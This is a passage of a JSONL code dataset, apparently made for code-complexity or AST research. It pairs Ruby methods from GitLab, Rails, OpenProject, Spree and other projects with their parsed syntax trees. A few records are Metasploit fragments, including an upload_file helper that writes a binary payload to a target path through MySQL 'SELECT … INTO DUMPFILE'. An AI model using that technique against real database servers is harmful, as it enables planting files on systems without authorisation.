end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rcpt_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[42]}]}]}]},{\"type\":\"str\",\"children\":[\"@[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost_addr\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}","id":"8691bc86-4e46-4ffa-ba81-4a2cb18a5ef9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_action_user_serializer.rb","start_line":6,"raw_source":"def id\n object.user.id\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"id\"]}]}","id":"7601d96b-74ad-4991-a0dc-a95da46827c1"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/services/storages/project_storages/copy_project_folders_service_spec.rb","start_line":156,"raw_source":"def build_failure(code)\n error = Storages::Adapters::Results::Error.new(source: copy_folder_command).with(code:)\n Failure(error)\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"copy_folder_command\"]}]}]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"343d4703-7355-484f-bd92-fa2cc90aaffd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/auto_devops_service.rb","start_line":5,"raw_source":"def execute\n raise Gitlab::Access::AccessDeniedError unless can?(current_user, :admin_group, group)\n\n group.update(auto_devops_enabled: auto_devops_enabled)\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"AccessDeniedError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_devops_enabled\"]},{\"type\":\"send\",\"children\":[null,\"auto_devops_enabled\"]}]}]}]}]}]}","id":"afb4d70e-6c3a-442b-9a5f-9c78585ce7ae"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/resolvable_discussion.rb","start_line":37,"raw_source":"def resolved_by_push?\n !!last_resolved_note&.resolved_by_push?\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"resolved_by_push?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_resolved_note\"]},\"resolved_by_push?\"]},\"!\"]},\"!\"]}]}","id":"7d293855-6e2b-44bd-bad3-cc4a458a314a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":347,"raw_source":"def build_dep_lines(page_groups)\n @all_work_packages.each do |work_package|\n work_package.relations.each do |relation|\n target_work_package = relation.other_work_package(work_package)\n next unless @all_work_packages.include?(target_work_package)\n\n if relation.to == work_package && relation.relation_type == Relation::TYPE_FOLLOWS\n build_dep_line(work_package, target_work_package, page_groups)\n end\n if relation.from == work_package && relation.relation_type == Relation::TYPE_PRECEDES\n build_dep_line(work_package, target_work_package, page_groups)\n end\n end\n end\n end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_dep_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page_groups\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_work_packages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"relations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"other_work_package\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_work_packages\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"target_work_package\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"relation_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"TYPE_FOLLOWS\"]}]}]},{\"type\":\"send\",\"children\":[null,\"build_dep_line\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"target_work_package\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"from\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"relation_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"TYPE_PRECEDES\"]}]}]},{\"type\":\"send\",\"children\":[null,\"build_dep_line\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"target_work_package\"]},{\"type\":\"lvar\",\"children\":[\"page_groups\"]}]},null]}]}]}]}]}","id":"193f7098-6f3b-48d9-b147-2524a161a60c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/mysql/mysql_start_up.rb","start_line":101,"raw_source":"def upload_file(bin, dest)\n p = bin.unpack(\"H*\")[0]\n query(\"SELECT 0x#{p} into DUMPFILE '#{dest}'\")\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bin\"]},{\"type\":\"arg\",\"children\":[\"dest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bin\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"str\",\"children\":[\" into DUMPFILE '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"94859353-5063-4605-8a40-bb8a949f7fef"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_authorization.rb","start_line":53,"raw_source":"def currency\n # FIXME: we should associate ReturnAuthorization with Store\n order.nil? ? Spree::Store.default.default_currency : order.currency\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"currency\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Store\"]},\"default\"]},\"default_currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"currency\"]}]}]}","id":"66e76d92-eac2-45d9-895c-d351c0e1d8d7"} {"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tags/doc_tag_unit_test.rb","start_line":284,"raw_source":"def visit(template)\n traversal(template).visit.flatten.compact\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"traversal\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},\"visit\"]},\"flatten\"]},\"compact\"]}]}","id":"e443306f-63cc-49c2-ac31-b875a5d44b1c"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/bundler/gem_filename.rb","start_line":87,"raw_source":"def expected_gemfile?(basename)\n (gemfile_required? && GEMFILE_FILES.include?(basename)) ||\n (gems_rb_required? && GEMS_RB_FILES.include?(basename))\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_gemfile?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"basename\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemfile_required?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GEMFILE_FILES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"basename\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gems_rb_required?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GEMS_RB_FILES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"basename\"]}]}]}]}]}]}","id":"a47c6509-84bd-419c-8905-b99346cd4443"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/remote_mirror.rb","start_line":167,"raw_source":"def mark_for_retry!(error_message)\n update_error_message(error_message)\n update_retry!\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_for_retry!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_error_message\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]},{\"type\":\"send\",\"children\":[null,\"update_retry!\"]}]}]}","id":"31495e16-2831-4d71-bffd-e77fbb14f47a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/users.rb","start_line":49,"raw_source":"def reorder_users(users)\n # Users#search orders by exact matches and handles pagination,\n # so we should prioritize that, unless the user specifies some custom\n # sort.\n if params[:search] && !custom_order_by_or_sort?\n users\n else\n params[:order_by] ||= 'id'\n params[:sort] ||= 'desc'\n users.reorder(order_options_with_tie_breaker)\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reorder_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_order_by_or_sort?\"]},\"!\"]}]},{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"desc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"reorder\",{\"type\":\"send\",\"children\":[null,\"order_options_with_tie_breaker\"]}]}]}]}]}","id":"3d10e53a-3dcb-49a0-9edc-5ad72612ad9c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":378,"raw_source":"def test_foreign_key_attribute_is_not_set_unless_changed\n eye = Eye.create!(iris_with_read_only_foreign_key_attributes: { color: \"honey\" })\n assert_nothing_raised do\n eye.update!(override_iris_with_read_only_foreign_key_color: true)\n end\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_foreign_key_attribute_is_not_set_unless_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eye\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Eye\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iris_with_read_only_foreign_key_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"honey\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eye\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"override_iris_with_read_only_foreign_key_color\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"2722ba1b-4257-4af4-9b36-1fda509001ec"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/constant_resolution.rb","start_line":83,"raw_source":"def allowed_names\n cop_config['Only']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Only\"]}]}]}","id":"c81ef2f4-3223-4a10-96c8-0d96871ed385"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/base.rb","start_line":89,"raw_source":"def slug_candidates\n if defined?(deleted_at) && deleted_at.present?\n [\n ['deleted', :name],\n ['deleted', :name, :uuid_for_friendly_id]\n ]\n else\n [\n [:name],\n [:name, :uuid_for_friendly_id]\n ]\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"slug_candidates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_at\"]},\"present?\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"deleted\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"deleted\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"uuid_for_friendly_id\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"uuid_for_friendly_id\"]}]}]}]}]}","id":"d0d476a2-970a-448a-8e10-52d607f40ef7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/chat/command.rb","start_line":87,"raw_source":"def branch\n strong_memoize(:branch) { project.default_branch }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"branch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"branch\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]}","id":"5ae57f73-9d3c-49d3-9731-85a30f714f30"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3833,"raw_source":"def cross_namespace_reference?(from)\n case from\n when Project\n namespace_id != from.namespace_id\n when Namespaces::ProjectNamespace\n namespace_id != from.parent_id\n when Namespace\n namespace != from\n when User\n true\n end\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cross_namespace_reference?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"namespace_id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"ProjectNamespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"parent_id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"5fc45ec5-8821-48b7-977e-dec599399a5c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/parser.rb","start_line":42,"raw_source":"def self.seed(statement)\n new(Expression::Lexer.new(statement).tokens)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"statement\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Expression\"]},\"Lexer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"statement\"]}]},\"tokens\"]}]}]}","id":"e99a2a96-c9ec-4028-9749-efa5cbdcea28"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/clients/http.rb","start_line":27,"raw_source":"def post(resource, body = {})\n request(:post, resource, body: body)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}","id":"8e4a663b-82e1-408b-b5ee-0e4e1ea6107d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/placeholder_user_creator.rb","start_line":84,"raw_source":"def random_segment\n Zlib.crc32([namespace.path, source_user_identifier].join).to_s(36)\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"random_segment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"crc32\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"path\"]},{\"type\":\"send\",\"children\":[null,\"source_user_identifier\"]}]},\"join\"]}]},\"to_s\",{\"type\":\"int\",\"children\":[36]}]}]}","id":"3ccf0c79-f312-46c4-96c1-d417a00d1665"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":639,"raw_source":"def test_update_counter_caches_on_replace_association\n post = posts(:welcome)\n tag = post.tags.create!(name: \"doomed\")\n tag.tagged_posts << posts(:thinking)\n\n tag.tagged_posts = []\n post.reload\n\n assert_equal(post.taggings.count, post.tags_count)\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_counter_caches_on_replace_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"tags\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"doomed\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"tagged_posts\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"tagged_posts=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"taggings\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"tags_count\"]}]}]}]}","id":"4198d202-6e62-4f9b-b32d-cb973c1f91d2"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":1104,"raw_source":"def test_where_no_key_set\n input = [\n { \"handle\" => \"alpha\", \"ok\" => true },\n { \"handle\" => \"beta\" },\n { \"handle\" => \"gamma\" },\n { \"handle\" => \"delta\", \"ok\" => true },\n ]\n\n expectation = [\n { \"handle\" => \"alpha\", \"ok\" => true },\n { \"handle\" => \"delta\", \"ok\" => true },\n ]\n\n assert_equal(expectation, @filters.where(input, \"ok\", true))\n assert_equal(expectation, @filters.where(input, \"ok\"))\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_no_key_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"alpha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"beta\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"gamma\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"delta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expectation\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"alpha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"handle\"]},{\"type\":\"str\",\"children\":[\"delta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expectation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"str\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expectation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"str\",\"children\":[\"ok\"]}]}]}]}]}","id":"84dac8fc-d5da-407c-a858-199c846676b1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/synthetic_note.rb","start_line":31,"raw_source":"def project\n resource_parent if resource_parent.is_a?(Project)\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[null,\"resource_parent\"]},null]}]}","id":"cf720197-18b9-4ca6-bf54-d794a86c09d8"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/spec/support/pages/budget_form.rb","start_line":137,"raw_source":"def unit_costs_at(num_row)\n unit_costs_container.all(\"tbody td.currency\")[num_row - 1]\n end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"unit_costs_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num_row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unit_costs_container\"]},\"all\",{\"type\":\"str\",\"children\":[\"tbody td.currency\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_row\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"cf3b0738-3c4e-4c8c-867c-73d4deeb9f0e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_prefetch.rb","start_line":43,"raw_source":"def print_prefetch_key_value\n # Checks if Prefetch registry key exists and what value it has.\n prefetch_key_value = registry_getvaldata('HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session 